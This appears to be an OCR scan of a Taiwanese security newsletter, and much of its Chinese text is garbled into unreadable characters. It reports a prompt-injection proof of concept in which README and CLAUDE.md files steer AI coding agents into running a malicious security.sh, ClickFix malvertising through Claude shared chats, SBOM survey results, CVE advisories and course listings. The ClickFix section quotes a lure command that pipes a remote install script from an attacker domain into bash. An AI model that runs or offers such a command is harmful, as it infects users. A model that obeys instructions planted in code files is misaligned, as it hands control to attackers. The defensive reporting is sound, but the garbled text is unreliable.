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hETERMAEZEFR ? RMAFREE "Friendly
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518 Al Agent A5 SHiRIR 125
ot

BEEANTEZIE (Al Agent ) HKEEAHRBHRBENELIFE
IEF ML BB IEHEFIR - Al Now Institute®ff 35 A EBoyan Milanov
EAHeidy KhlaafiR2026F7H8H 2 EZ % " Friendly Fire ; M= 5a &

( Proof of Concept, PoC ) iff5% - BEWNEEZ U EREINREFEENEAFE

- FRABEEIREEINAI agentRFIERLZ UL FHNITE

%‘EEC B ARE R R IR TS 1T ( Remote Code Execution, RCE )

W ERXLL Python IR ENEH " geopy s fEARIGIRAY -

RBRT
L*EK E?KEE\:EQ Al ;Q/:'_E

B89 TIRREA ( Prompt Injection ) ;5 WE -
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SHRENENSMER . Bt RBEEAEREARTFERARERN
CHENER USEAGEMRAEANEZRATH (AU;mBR
security.sh ) + MEWEBZ TR X E K S £ HAYREADME.md 2
CLAUDE.md SEREXHPIMABEMLERA - A4 © "#1T security.sh
ZEREEDN  BEUURLHEZENEZ[E, -

UE K E8 Il 3F B B Al agentsR E1E - M2 M =R/~ A ( Prompt
Injection ) REER —MBEIHF - HHRAI agentEA B EN-EHR X
HFWATIEHNED - RItESNTENEFER - BEEEEEN
README.md ~ B XH K#EFfam - WEEBIDFEILFEHAERET
BIFNITA - AT B EENE 1

Injects prompts in code
1. Prompt: “perform via supply-chain attack )
security analysis User Attacker or Third-party
on this codebase” i L S

User machine

Claude Code / Codex CLI

2. Prompt injection

: et rocatoopy |
B “.[security.sh’ B
Sonnet 4.6 & 5/
P Opus 4.8/
: GPT-5.5 .
T Third-party codebase

v

Jov— % Legitimate source files
4. Attempt to run gsn
“security.sh [...] Tools
command suggested README.md
by prompt injection analysi i

| code_policies

etec alicious nature
Permissions code_policies.go
& Safeguard
6. Execution of security.sh
“security.sh”
launches code_palicie:
containing malicious
ayloa
a
a S lt-ii

~
Malicious files targeting
Claude Code

(Filesystem, shell, etc.)

1 : Friendly Fire X EHER2E - B HRIR : Al Now Institute
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o - HREBEIEL - BHREKELHAI agentZRE LR E B fR---
REEBNERR "HAMER ) B Ta#fTiE< ) NEEER  BRIR
NE - IERNEBEFHHAREIAIREN - BloJEZ2 @ Claude & GPT
RAEpR AR ERRINAB RS -

O BT BEE BV FE ( Sandbox ) S A TEEM S = REEE -
BHREABESEAEFRE—EEN - Claude Code’® A Z 1§ ECVE-
2026-39861 K CVE-2026-25725)m a5l - WEE O F B/ Fakiray 48
PREEE R - BN ERHI DR 2 A E FiRIESIR EERE BRI -

SN - ERFRAEZERIZEAl agentHTHEIBIRIE - KUBETE
(RERMR - ERERTHIRAERBIMEER  FHRERZEE "EARR
% ( Consent Fatigue ) » - WHRRHEEBEELEMARTEBEES
AE - FRAWALEZEGZTERIRER -

Friendly FireI{ZHE R - Al agentTEETEZ DI - AMEZHEL
B o A EH#EN—IR - TWCERT/CCHEEZ % X 8B KR
NI

1. BREAREEASTEagentiE<

2. FATH/ERRRIN R EURIE

3. PR#lagenta] FIUM T ERKIES

4, BIHITEIRE RIEZRKIRERE G

5. EE¥EAl agentNER TR IIRITZERIREE
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o tHEAEA

1.

o g h~wd

Friendly Fire: Hijacking Defensive Cyber Al Agents for Remote Code
Execution

Friendly Fire Policy Brief

TrustFall: Coding Agent Security Flaw Enables One-Click RCE
Agentjacking: Coding Agents with Fake Sentry Errors

CVE-2026-39861 : Claude Code Sandbox Escape
CVE-2026-25725 : Claude Code Persistent Configuration Injection



https://ainowinstitute.org/publications/friendly-fire-exploit-brief
https://ainowinstitute.org/publications/friendly-fire-exploit-brief
https://ainowinstitute.org/publications/friendly-fire-policy-brief
https://adversa.ai/blog/trustfall-coding-agent-security-flaw-rce-claude-cursor-gemini-cli-copilot/
https://tenetsecurity.ai/blog/agentjacking-coding-agents-with-fake-sentry-errors/
https://advisories.gitlab.com/npm/%40anthropic-ai/claude-code/CVE-2026-39861/
https://advisories.gitlab.com/npm/%40anthropic-ai/claude-code/CVE-2026-25725/
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SBOMIiY - BT EETIRBEASR ?
ENISAIRE BRI =R EFREE

ot

TEHREC "BMSBOM , - BRI AL  OsEA 2EIERES
AERPER - BREBAEEZ 2/ ( European Union Agency, ENISA ) <
AATHRMBERE TR B EENTREYREE - ANEIIR
KAEBBEE R -

BXAR/NE - ESBOMAEREEARIATIE

EREE A9 B )14 5% ( Cyber Resilience Act, CRA ) EkHEEm AEIEE
HUIINBEN E MBI EFEYRLBE ( Software Bill of Materials, SBOM ) -
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WREBANNE "EHETIE L (a commonly used and machine-
readable format ) - BIEREB UL T ADEM - (BENISATEIR S48
BHE @ BRAN—BMARZERN ENRE - MESBOMEEABEEIEEE
TERMNMNERY - BOER - BIVEREWIFO B o ENEIITRE - mE
W EAEZHSBOME R N EVIZOIRED -

=% - BREELASHE

EMEEHGE r3URAHE - HP/\EEZCRAMRE - HRE
7~ » CycloneDXZ BRI ZEFRHFAHNBEI ( 544% ) - ERZESPDX
(H29% ) - BIBITWHEERAEREERT - BINMINESRAER
BRATOEERET - MESETHI28%WESE - ESBOMBR LR B
PR B PR E AR En -

BBARE " A2, ME - CRABXABREBERZBRERR -
BREBBMBENLZWAZE (BSI) EMHIEIITES| - S&REEKE
= H N EHBISBOMEAISONE XML, - HRF & CycloneDX 1.6 kM
£~ 3(SPDX 3.0.1AR A ERIFRER - SR TIE 5| sEMR A Z BB E AR
HRE - BEEAWE I MSEERAZRSFRINHENSE - e
o EEMNBERINFEREERASERZEERE - BAlMESALELSBOM -
2 e O Be AR Z IS I 2K e R 2B T -

BUHAE  E—BEERHER

BAAR—ANERELEERS  EZEABREFZHER - BEH
7N - SBOMBY B BMHMI0NHNZEHEFEND ", ~ 39%: IR "=
Z,  BRNBRE-DZ_HNEEEHILEEATSEER - A - £
ERNEESNNSEMBEALNTA - BRI{ER2%NEFEEFEKSTH
BIEBET]) - 30%AFERIMPB N ER AR B MR - EEREHEFR
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TRUSBOMTE IR IR IBH 2 A —F - EETEF/ECHFER ; #
EEREL - RELCHZ2EXBEAHENEZRE Z— - 35%w s "1
SR, -~ 23%R% "FEEE,  BUOR - BIUEERCEZINE
SIRMBNRREZ — -

Ef—RNZE  HAEBIWNEXEEKaHEESAEMREE]
SBOMEK - SEHFEEEE KT L - BIVERBEKEARER
HEEHX - EE 7 ESBOMEEASEEIESE G MRIEE - BRREBEE
BEEENAES  IREMEER—REE -

TEENAZEEENR  MB—EXRHRSH

EH¥SBOMIBTUEZEZM AR - RIHEFMNELEENRT - AEiEL -
1% —EER ' TEERNSBOMA ERE ) WEEHEETHE
B - 29% % %8 fE 5% #E B SBOMAE TV EA M B U RV AZ (L - 5 9P 20% B A
B3R —EfEASBOME R AR EESR - EEEBRREE
BB IFEERZ R - MEEFEZHARZ —EJXEERBIEELR
&

® HEELS
1. SBOM Adoption State of Play — 2026: Survey Results and Analysis.
2. Technical Guideline TR-03183-2: Cyber Resilience Requirements for
Manufacturers and Products

3. Requlation (EU) 2024/2847 on horizontal cybersecurity requirements
for products with digital element



https://www.enisa.europa.eu/publications/sbom-adoption-state-of-play-2026
https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/TechGuidelines/TR03183/BSI-TR-03183-2_v2_1_0.pdf
https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/TechGuidelines/TR03183/BSI-TR-03183-2_v2_1_0.pdf
https://www.cyberresilienceact.eu/regulation.html
https://www.cyberresilienceact.eu/regulation.html
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EEE Al £528E) ClickFix T2

ot

MEEZIHRABIFEEET ClickFix IR ITRENEERS @ KWE
EZEBREEEDS (Malvertising ) ~ FRHHG - AEREEEHNEAEHE
ILEBERE  TNRZRMAER REREZEIBIBRESIBIR  FEE
RAEZETERENTERNS - BEERLAIBAIFZTERREEE
HEARB M EFR AN BERTIAR T ZIFENFHINEE -

ClickFix EZFFHER CAPTCHA « 2 EERIFMZIENE - EK
B FHE R R PowerShell ~ Terminal Em<3TH - #EEAETEH - 6L
TW#A1T - MITRE ATT&CK Si#§HEA1T/517% T1204.004 " User Execution:
Malicious Copy and Paste ; - ENEBRBENRSBEFEABEIHNITEERR
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Microsoft Threat Intelligence X EZB B LT EERHR T LTS
(CISA) HIEBR AR R B EE P EREZ] ClickFix jiu/i REESFH
Base64 MRIBNIET B ARBERERERNTEERINKE  BEEFEHES
48 PowerShell ~ curl ~ bash EHMTE THEBERCRELN - ERFEEE
ZARHAEABINEXNREMEERER  TERIREYH RGNS EE
th

Trend Micro TrendAI™ Research ¥THAESIR - W E 1 ClickFix#E &
Google Ads Bi5A Al & @ REREKINE - WEERE Claude Al »
ChatGPT Codex ~ Cursor IDE - JetBrains A Perplexity S5£4F9 Al EAFFEE T

ZBNENSEESNEREENHRERIL - o NEFEINEH
Claude Shared ChatIfIgE - £ Claude WE ARG AR ZEEE - BE
AR BB - FEFAENTEAREDRS -

@& https://claude.ai/share/abc123def456

* Claude &, Copy link

%\ Claude Support

Official Installation Guide ¢

BREWXEE
S MpRaYIREAR
AE  EHEM

EANBRRES

@ This conversation is shared publicly

May 12, 2025

o User

How do | install Claude Code on my computer?

@ Claude Support
Hello! Thanks for reaching out.

e ————— Please run the following command in your terminal to install Claude Code:

| p 2

| BEUREARRN

| &s’% 3 ﬁi‘fim% bash <(curl -s https://cdn-install-claude.com/install.sh) B Copy

| - )
BN

e

A If the command doesn’t work, try again or contact us anytime.

- Claude Support Team

NESABNHEE
5 |mel{EE

@ Anthropic does not review shared conversations. <
Please be cautious about the content

Bl : Claude WESFEARUABH=EE - BEMEITZIENE
BEW (3 AEB Al BEIER ZREE - )
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ARNKEBARSOSEELRES ZBEFERAERBN I B - FHE
BEREGEEFEESH mEMEEELE - Trend Micro BSRIERIEER - S8
Al AR TEBEETHANE 67% R AitE - EH8% 5 30.5% -
AZBES  BRBEANTENERERRNERRESET -

—HBHERHENITEERENST  RECUREE—T FTHENBIER &2
mFN T ExEMmEERET - WEEEIERIRIEZAS - Cookie ~ TIEFEER
REMPBEEN BEEFERAENRBENER - OBEOTEE AR
AEEGFNREBAESEELEM -

TWCERT/CC i FE A& - #E R EERILUTNERE

1. RESEFRFERZEE . HEXKEEKHTT PowerShell
Terminal EM B LIIIETHHRBEASTRIFESE - BIFEABTUR
BEHAEBNIES  DNEERIESKE AERERRE - #%
ERBU mBAE LT -

2. FREHESEISETE  EEAFETEEERLERBEHMEILD
OfEEEEBNGE  HEEENBESS|ZENERS  HARE
Ih N ERHITEZERET -

3. NEEZEHMEE | EEWEE NTEN®E ClickFix TR TIZKE
BEE  FAETHYEBECSEMNAIME Al TE - #2EE5KE
FEFEEUOETIEE  FEFEREINTEENT -

4., BEEEEEMSARNATS  FEEZIRENIT MEARITIBR -
BREAA Base6s B - BAEWT BEInABENE - UKESE
{2 A PowerShell ~ Terminal ~ curl ~ bash T ER{T4E -

5. B{EEHRAEREERENR  FRIRFEAEISHITRERBENGS -
VRIS E L ETEERE B ERSE - BAL
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EERIKEEIBENESEFEERSERAREY  VERKEBERE
B HEH B A B A TIEREER -

o THEFERS

1. Trend Micro TrendAI™ Research

2. Think before you Click(Fix): Analyzing the ClickFix social engineering
technique

3. Phishing campaign impersonates Booking.com, delivers a suite of
credential-stealing malware

4. #StopRansomware: Interlock



https://www.trendmicro.com/en_us/research/26/f/claudeai-shared-chat-abused-in-malvertising.html
https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique
https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique
https://www.microsoft.com/en-us/security/blog/2025/03/13/phishing-campaign-impersonates-booking-com-delivers-a-suite-of-credential-stealing-malware
https://www.microsoft.com/en-us/security/blog/2025/03/13/phishing-campaign-impersonates-booking-com-delivers-a-suite-of-credential-stealing-malware
https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-203a
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2.3 BEXIRBS Rl & R

2.3.1 Apache HTTP ServerFEZ B S B &% 2R

CVE #®3% |CVE-2026-23918,CVE-2026-29167,CVE-2026-44631

SEEMm ||Apache HTTP Server

ERCHYROELEEER  F2ZEMAETE
RERWVE  ||ar . AT
https://httpd.apache.org/security/vulnerabilities_24.html

& WA :
T AEE5IR Apache HTTP Server 77E 3 Es AR Z 2 & lE(CVE-
2026-23918 * CVE-2026-29167 & CVE-2026-44631) - A7 G250 (&5
L EE N (Double Free) ~ & ECIEAS (Use After Free) K& E &
a2 [ (Buffer Overflow);Jﬁ:%;H HERBUfFERBE D& ZIRIRK
BEYTESREINS - BEREILETER -
o XEYH:
» Apache HTTP Server 2.4.66
> Apache HTTP Server 2.4.0 | 2.4.67
o ERIKE :
1. Apache HTTP Server 2.4 vulnerabilities
2. CVE-2026-23918

3. CVE-2026-29167
4. CVE-2026-44631



https://httpd.apache.org/security/vulnerabilities_24.html
https://nvd.nist.gov/vuln/detail/CVE-2026-23918
https://nvd.nist.gov/vuln/detail/CVE-2026-29167
https://nvd.nist.gov/vuln/detail/CVE-2026-44631
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CVE #®35k |CVE-2026-20230

SsaE=1 |ICisco Unified CM/Unified CM SME
B CHERREBLEEDY  BLEEHRBEETEY - 4
SRRy 0T

https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurit

yAdvisory/cisco-sa-cucm-ssrf-cXPnHcW#fs

o AFHMA :
w55 AE 3838 Cisco Unified Communications Manager Z7E & AR 883K
175 (Server-side Request Forgery) @ ial(CVE-2026-20230) « KA & 7 ik
Al ZRIGINEE  OEZEFHEHTTIPEK  RIFELZRBARERE

Y

MEVEEEEERE -2 cB2RZENR  BERERIWETIS
o FEY¥S:
» Cisco Unified CM/Unified CM SME 14 g Zx
» Cisco Unified CM/Unified CM SME 15 kR A<
o ERIKIE :
1. Cisco Unified Communications Manager Server-Side Request

Forgery Vulnerability
2. CVE-2026-20230



https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cucm-ssrf-cXPnHcW
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cucm-ssrf-cXPnHcW
https://nvd.nist.gov/vuln/detail/CVE-2026-20230
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2.3.3 WatchGuard Firebox FHEE KX E L imiE(CVE-2026-13368)

CVE #75% ||CVE-2026-13368

gsag= o (\WatchGuard Firebox Fireware OS

BEMELTRA :

BRIRIE |Fireware OS 2026.2.1 bR 7S -

Fireware OS 12.12.1 hR A&

® ANAE:AA :
WatchGuard Firebox @— M RERPIKIEEm @ REZEBRIE - &
t&BLE ~ IPS - APT [BIE RADREEIE - 21H WatchGuard 3% E
RNEZRE NS (CVE-2026-13368 + CVSS 4.x : 9.2) - &ZmEIRR
Mobile User VPN with IKEv2 #J LDAP &8 HHI = 7 F &4 ( Race
Condition ) - ## M %S W E F B ( Use-After-Free ) J& )@ - &
Firebox E&&7E Mobile User VPN with IKEv2 M RSN LDAP BREa
R KK PRBWERKXEE N ALRE - DL iked 2K
EFXHFHTEREL -

B2 %83 A NN
0 T=v0..

> Fireware OS 2025.1 hR A
> Fireware OS 12.x hRZ<
> Fireware OS 12.5.x (T15&T13) kR4~
> Fireware OS 11.x hRZ
o ERIKR :
1. WatchGuard Firebox Race Condition and Use-After-Free in Mobile

VPN with IKEv2 LDAP Authentication
2. CVE-2026-13368



https://www.watchguard.com/wgrd-psirt/advisory/wgsa-2026-00023
https://www.watchguard.com/wgrd-psirt/advisory/wgsa-2026-00023
https://nvd.nist.gov/vuln/detail/CVE-2026-13368
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2.3.4 SonicWall lE FSMA1000& 5 EmFEEARE L RIE (CVE-2026-15409)

CVE #75% ||CVE-2026-15409

EEM |SonicWall SMA1000 512 G
BEHELITIERA

BESRIEE |SMA 1000 251 E M 12.4.3-03453(2) Z B K
SMA 1000 %5 ZE [ 12.5.0-02835(2) Z # h s

o ABIMMA :
SonicWall &% SMAL1000 % %l E an 3 #h E K E %% g (CVE-2026-
15409 - CVSS : 10.0) - 5% SSRF J@EIEFEL SMAL1000 %51 =
HRELENTES  KEESBENERNES O 3 HIFTRIRFEK
5% : B AT SonicWall PSIRT EREZ RS - BRZRE EHER
MA - BEERRINERERER - DB E I RE s R E
BE -

o EYH.

> SMA 1000 %5 i 12.4.3-03245 & 12.4.3-03434(2) A

> SMA 1000 %5 fr 12.5.0-02283 £ 12.5.0-02800(=) k4~
o ERIKR :

1. SonicWall SMA1000 Series Appliances Affected By Multiple

Vulnerabilities
2. CVE-2026-15409



https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0008
https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0008
https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0008
https://nvd.nist.gov/vuln/detail/CVE-2026-15409
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2.35 SAPHHIE T ZTMERBHEXRELAS

CVE 4R35 |CVE-2026-44747,CVE-2026-27690,CVE-2026-44761

u

T,

ap=x o [SAP NetWeaver Application Server ABAP ~ Approuter -
= = nn
Commerce Cloud

RBESRIEELE RS VETIER !
A https://support.sap.com/en/my-support/knowledge-base/security-
notes-news/july-2026.html

® NE:MA :

[ CVE-2026-44747 - CVSS : 9.9]

SAP NetWeaver Application Server ABAP SoF&iB 5 N EREH I EE
MAGXIREEENEEERSNLEREER  SBREEENER
FE - B R AEAER -

[ CVE-2026-27690 - CVSS : 9.1]

SAP Approuter BPfF7E HTTP 55KERRE(HTTP Request Smuggling
vulnerability) - R&S D EaERIINEBE ORISR B/ORETHI HTTP &
K- BEGEKEEARYL - SECRRAFRIEER - WEER#HE
AER -

[ CVE-2026-44761 - CVSS : 9.1]

SAP Commerce Cloud oJgEfREEZEHI OAuth2 FHFIR - HPEZAFH
SIFRE ARG - BERFBIFER SAP SR A LRI SR HAVEE
BlEEE - AEB iRV EE N A ARREKISEEUR token -
TGP IR L API BEVAIB N ER -

R
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B 4B ]7 4N -
L E{?% = .

» SAP NetWeaver Application Server ABAP
Version(s) - KRNL64NUC 7.22, 7.22EXT, KRNL64UC 7.22,
7.22EXT, 7.53, KERNEL 7.22, 7.53. 7.54, 7.77, 7.89, 7.93, 9.16,
9.18,9.19,9.20

» SAP Approuter
Version(s) - SAP Approuter node.js package < 20.10.0

» SAP Commerce Cloud
Version(s) - HY_COM 2205, COM_CLOUD 2211, 2211-JDK21

o TRIKIR :
1. SAP Security Patch Day - July 2026
2. CVE-2026-44747

3. CVE-2026-27690
4. CVE-2026-44761



https://support.sap.com/en/my-support/knowledge-base/security-notes-news/july-2026.html
https://www.cve.org/CVERecord?id=CVE-2026-44747
https://www.cve.org/CVERecord?id=CVE-2026-27690
https://www.cve.org/CVERecord?id=CVE-2026-44761
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2.3.6 Microsoft i FSharePoint Server ZE2{E & K ELRE

CVE #®358% |CVE-2026-58644,CVE-2026-55040

i Microsoft SharePoint Server Subion Edition ~ Microsoft SharePoint
EEm

RS

T,

Server 2019 * Microsoft SharePoint Enterprise Server 2016
RIBEHAILEL R ITVETER !

[ CVE-2026-58644 ]

— .. |Ihttps://msrc.microsoft.com/update-guide/vulnerability/ CVE-2026-
fERMEE 58644

[ CVE-2026-55040]

https://msrc.microsoft.com/update-guide/vulnerability/ CVE-2026-
55040

o AR :
Microsoft SharePoint Server @ —mIEZERHBIFF G - R EIREA
BEXBIFEINRE - REEEAESHZOFE - LHMEEHER
B Z /N5 (CVE-2026-58644 - CVSS : 9.8 A1 CVE-2026-55040 + CVSS :
9.1) - CVE-2026-58644 AR EEERN ZREIERE - e REE
RN EEZBHEBHNTERRERE | CVE-2026-55040 £ 55515
A REARASEENNEE EBREKERLTTINE -

B2 %83 A NN
0 =10

» Microsoft SharePoint Server Subion Edition
> Microsoft SharePoint Server 2019
» Microsoft SharePoint Enterprise Server 2016
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o ERIKIE :

1. Microsoft SharePoint =R T2 =L A5 592,
Microsoft SharePoint Server Z*& 4 THEERS 15 55 BE
CVE-2026-58644

CVE-2026-55040
CISA Urges SharePoint Hardening After New Exploitations

aobrow



https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040
https://nvd.nist.gov/vuln/detail/CVE-2026-58644
https://nvd.nist.gov/vuln/detail/CVE-2026-55040
https://www.cisa.gov/news-events/alerts/2026/07/14/cisa-urges-sharepoint-hardening-after-new-exploitations
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2.3.7 NetScaler ADCENetScaler GatewayZFEZIES EIEZ Z iR - FREEE

ol ETTIZ 4

CVE-2026-8451,CVE-2026-8452,CVE-2026-8655,CVE-2026-

2 a
CVE #R3R |1 0816,CVE-2026-10817,CVE-2026-13474

2 o NetScaler ADC and NetScaler Gateway * NetScaler ADC FIPS -
L — ]
NetScaler ADC FIPS and NDcPP

EFCHERRRLIEEEY - ASEETRPETER - £
BRI

https://support.citrix.com/support-
home/kbsearch/article?articleNumber=CTX696604

® NAEMMA :
i 3% A B 8538 NetScaler ADC E2 NetScaler Gateway FEZIBESRAMRZL
% )l (CVE-2026-8451 -+ CVE-2026-8452 + CVE-2026-8655  CVE-
2026-10816 * CVE-2026-10817 & CVE-2026-13474) - Hh K Eg&E 2
CVE-2026-8452 % aC 1232 % i1 (Memory Overflow)i@iE - &S5 24
B WERE S Gateway 3, AAA Virtual Server THEERS - KGRI~
EiRNBEONBILREERAFES - HETRBSNEHMIEFRHATT
5 ARERERIETER -

o EYL:

> NetScaler ADC £2 NetScaler Gateway 14.1 & 14.1-72.61(4A2) ik
PN

> NetScaler ADC £2 NetScaler Gateway 13.1 £ 13.1-63.18(4A )ik

PN

NetScaler ADC FIPS 14.1-72.61(-F =) ABT R A<

NetScaler ADC FIPS E2 NDcPP 13.1-37.272(-F ) AR AR A

b

\

Y VYV
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o ERIKIR :

NetScaler ADC and NetScaler Gateway Security Bulletin
CVE-2026-8451

CVE-2026-8452

CVE-2026-8655

CVE-2026-10816

CVE-2026-10817

CVE-2026-13474

Nouk~owhE



https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX696604
https://nvd.nist.gov/vuln/detail/CVE-2026-8451
https://nvd.nist.gov/vuln/detail/CVE-2026-8452
https://nvd.nist.gov/vuln/detail/CVE-2026-8655
https://nvd.nist.gov/vuln/detail/CVE-2026-10816
https://nvd.nist.gov/vuln/detail/CVE-2026-10817
https://nvd.nist.gov/vuln/detail/CVE-2026-13474
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2.3.8 pgAdmin AFEZHSRARZ ZRE - FEEERLETER

CVE #m3i% | CVE-2026-12044~CVE-2026-12050

S EEm |[pgAdmin 4
EFDHERRRLIEESH -
gRppE [T

https://www.postgresgl.org/about/news/pgadmin-4-v916-released-
3324/

® ANAE:AA :
MR AEZEIR pgAdmin 4 ZEZIESE R L 2 RE(CVE-2026-12044
£ CVE-2026-12050) - EfP&fEE 2 CVE-2026-12046 /ALERF
5{E(Insecure Deserialization)m)E - & ZEmIAERBELEE - HW
EEEH pgAdmin Z Flask SECRET _KEY WEH= A pgAdmin Z
Session B#REIRE - OJAIALEREANTEREZERNE - FEERERL
HEITIER -

o XEYH:

> pgAdmin 42 1.0 £ 9.15 iR

o ERIKE :

CVE-2026-12044

CVE-2026-12045

CVE-2026-12046

CVE-2026-12047

CVE-2026-12048

CVE-2026-12049

CVE-2026-12050
pgAdmin 4 v9.16 Released

allr
J0h
W

SEBTTMmIBETEN - 4

ONoGhkwNE



https://nvd.nist.gov/vuln/detail/CVE-2026-12044
https://nvd.nist.gov/vuln/detail/CVE-2026-12045
https://nvd.nist.gov/vuln/detail/CVE-2026-12046
https://nvd.nist.gov/vuln/detail/CVE-2026-12047
https://nvd.nist.gov/vuln/detail/CVE-2026-12048
https://nvd.nist.gov/vuln/detail/CVE-2026-12049
https://nvd.nist.gov/vuln/detail/CVE-2026-12050
https://www.postgresql.org/about/news/pgadmin-4-v916-released-3324/
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2.3.9 Check Point i Z mSecurity Management £ Multi-Domain Security

Management Server F1EE AE L imiE(CVE-2026-16232)

CVE #75% ||CVE-2026-16232

== o Check Point Security Management ~ Multi-Domain Security
Management

RIBEHRILELRERATVETER

https://support.checkpoint.com/results/sk/sk185169/

® WA :
Check Point &t¥4/E N Zmm & MEZEd Security Management £2 Multi-
Domain Security Management Server & K& LKA A S (CVE-
2026-16232 - CVSS : 9.1) - IlLimEREFR&EB nEEENRIRINESE
S ERZEIRE A Token - MfE FEZ Token & SmartConsole &
BIREMREE - EMINSEEEER -
#5T : BRI CheckPoint 2EHEFFNEZNALILRE - & EEREK
ISR ERETENE - DB LE 2t ¥ I miE ol BER I BB 38 & -

Bl YBR[/ £ .
® =TE4T

BRRIE

» Multi-Domain Security Management, Security Management R77.30
(EOS), R80 (EOS), R80.10 (EOS), R80.20 (EOS), R80.30 (EOS),
R80.40 (EOS), R81 (EOS), R81.10 (EOS), R81.20, R82, R82.10
o ERIIR :
1. CVE-2026-16232 - Authentication bypass with SmartConsole login

process using application token
2. CVE-2026-16232



https://support.checkpoint.com/results/sk/sk185169/
https://support.checkpoint.com/results/sk/sk185169/
https://nvd.nist.gov/vuln/detail/CVE-2026-16232
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2.3.10 Microsoft Office SharePoint?Z#E = & k& % & i®iE (CVE-2026-50522) - 78

BRI ETIEH

CVE #75% ||CVE-2026-50522

— Microsoft SharePoint Server Subion Edition ~ Microsoft SharePoint
= == |:|

RS

Server 2019 ~ Microsoft SharePoint Enterprise Server 2016

ENCHERABELIEEERM  BFLSEELMIBETEM - #
AR IEE HEE0R : https://msrc.microsoft.com/update-
guide/vulnerability/CVE-2026-50522

o NAE:MA :
w7t A B 838 Microsoft Office SharePoint FHEAZE Z R F L
(Insecure Deserialization) & 8l (CVE-2026-50522 - CVSS : 9.8) = K&
SRz ERNBEEZARRIEEZERETREIE - &

MATEREDNS - ZRHACBRENH  FERERILETER

Bl YBR[/ £ .
0 =TE4T

> Microsoft SharePoint Server Subion Edition 16.0.19725.20434( A &)
AR AR
> Microsoft SharePoint Server 2019 16.0.10417.20175(-~2) LB ik

Z/N
> Microsoft SharePoint Enterprise Server 2016 16.0.5561.1001(A &)

PARI AR AN
o ERIKIE :
1. CVE-2026-50522
2. Microsoft SharePoint &g T2 Z0AE 55 EE



https://nvd.nist.gov/vuln/detail/CVE-2026-50522
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522
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£ 35 - EXMEFEREE

o EXRMMHE

1S FELZSHREETIEMARE EFKAE
SEENRSRT | 115/8/29(75)~115/10/3(7%)
EENMEL | EERAE R

EENHEIE | https://extension.fou.edu.tw/#/course?1d=d350837b-becd-4e49-8506-
86ef368ef29e

— 1155 —
BEXZAA o
Hﬁkﬁ_‘_‘i#ujlln%ﬁ {

I o' I 33 FF = B3
I aNv X = A ==

Sk XABFREAROAERPHR

BERBDARYEAS
[(ER]
EENE (kSR BNEEE  FoBEREES
H”E%’\]‘%]
BRIRIMIEEAR - EZAE - BRI AEZEXSHELZBELRRA
ZAT -
[Fa#E AN ]

HARNEAREAEARNRNERELT - BEHEHIEERITRRE
FIFEER - MEhEPRRR KRN ERRES -
[FREER]
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LEBRECRERE | JIREERRZE " #iF - Pra - B R
R~ BIR - RERARLE L NSRS - BIREBRIRIZ MIBERTER%E
BEFEATER  BREEXEEM_REZE -

2.2 EEBENEABEMY  JIAEEREREELEREHRE
Al - BEIRERINE I ERAR AR (W] APT X2 - DDoS * $1RFE )
maE B BEEETEEN MR -

3.*%?&@1%@1@[5?%%&% L BIBEREF  BENIRRRE R
FEW - NHERRER  THRBRBRRZFHANNENRER - B
IFIETEE B RIER -

4. BEEEMSHLROE  ITEBEIRTEEN ' SBRNNS
(AAR) 1 - BERTHIEESBIERLERBNUSEE  HMEABE®L
FHEZE - (CEmE -

[ETENAE] R5EE - HRIB
[EMWEM] BIXREBLZMRR - EF AR
1ISFEZSEHEE TREMENIN EURZEAER (FHIT)

SEBNISAT | 115/08/31(—)~115/09/04(T)
EENMEE | BRI KR EZEMEEsE
JEENAENE | https://cee.ksu.edu.tw/Courselnfo.aspx?id=3614

|| |@1a:§}_#%ﬁﬁnf&n ot
)

National Institute of Cyber Security

ERAAMEERE

RWBAHMEINESE ;28 MR06-2727175 i@25458264

[EH]
REFIREBUWNEIRE - BERIMAE
[BaE¥z]

EENEEE
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HRAREBBBE B RS -

[FEANE ]

EZEREENZENHE -

[FREER]

ﬁ ETRELSHREREEZERE - UENHREZEAR

TEE,%H BEZERIE /D EMAVIER -
[EME 4R ] EIAERERERD / BRI A
[EMEMU] BXREBEBLEMRER - ELLRFRKERE

- REZEHNZFR - P SRERETANZEE - KMk

1SEERBHEE TRMRE HPRAS

EENEEE

SEENSRE | 115/9/5(75)~115/10/17(7X)
EENMEL | EEIIpE KRR
R ENAEL s://www.siileec.com/subject.php?sn=6326

[
(i3
¢

57

F—RREXRULENBZAHGEEE N HEMEZETAS - BIgA

==

11154098058 £10A178 + #38%9:00-16:00 * #£30.) 8§
: § 6 % 80,0004 (9/26K10/10:% B) X & © #1318 —K)
THLZPRRE HEREARERNGHA

(58 H S K EBIEB02E) 04-22855506 % )4l

BE bR TR 02-23800912 # )48

)
S EMBNEEE  BLERQERS
S ]

BEZEAGZ ITHKWAL - 2FHEEABRENEEAE - HEHMH
BR  HIRNBEZEHEEAEREEE -
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[FEANE ]

A HRARBUGEBEIEERALE - HIRAREBHBAZAES

TiEJII - MRBEHRZIIBEALENEBNEZR  FELIHREN
BE2VAERMEZEZNEE -

(ﬁ&ﬁ%)
IS o B i e o b s e

EfEE - FEE /RELSHERERIBE VTENE - UERELZS
HZER - B FERBERETAUZEER  EMEREAENESL
J& B R M S R RYIE K -

[BIENAE] BRI ~ FiRIE - F2E - 5FRE

[EWEN] BXRERLZZWRR - B PEKE

11 FELZSHEE T IEEARE_ER R ARE (11500288 )

SEBNBSRT | 115/10/19(—)~115/10/23(F)

mENMEE BRI ABEEHEETR S (EPHAEERNEK215% )

EENHEIG | https://oce.cyut.edu.tw/course/n course detail.php?u=acc65ac9182a9
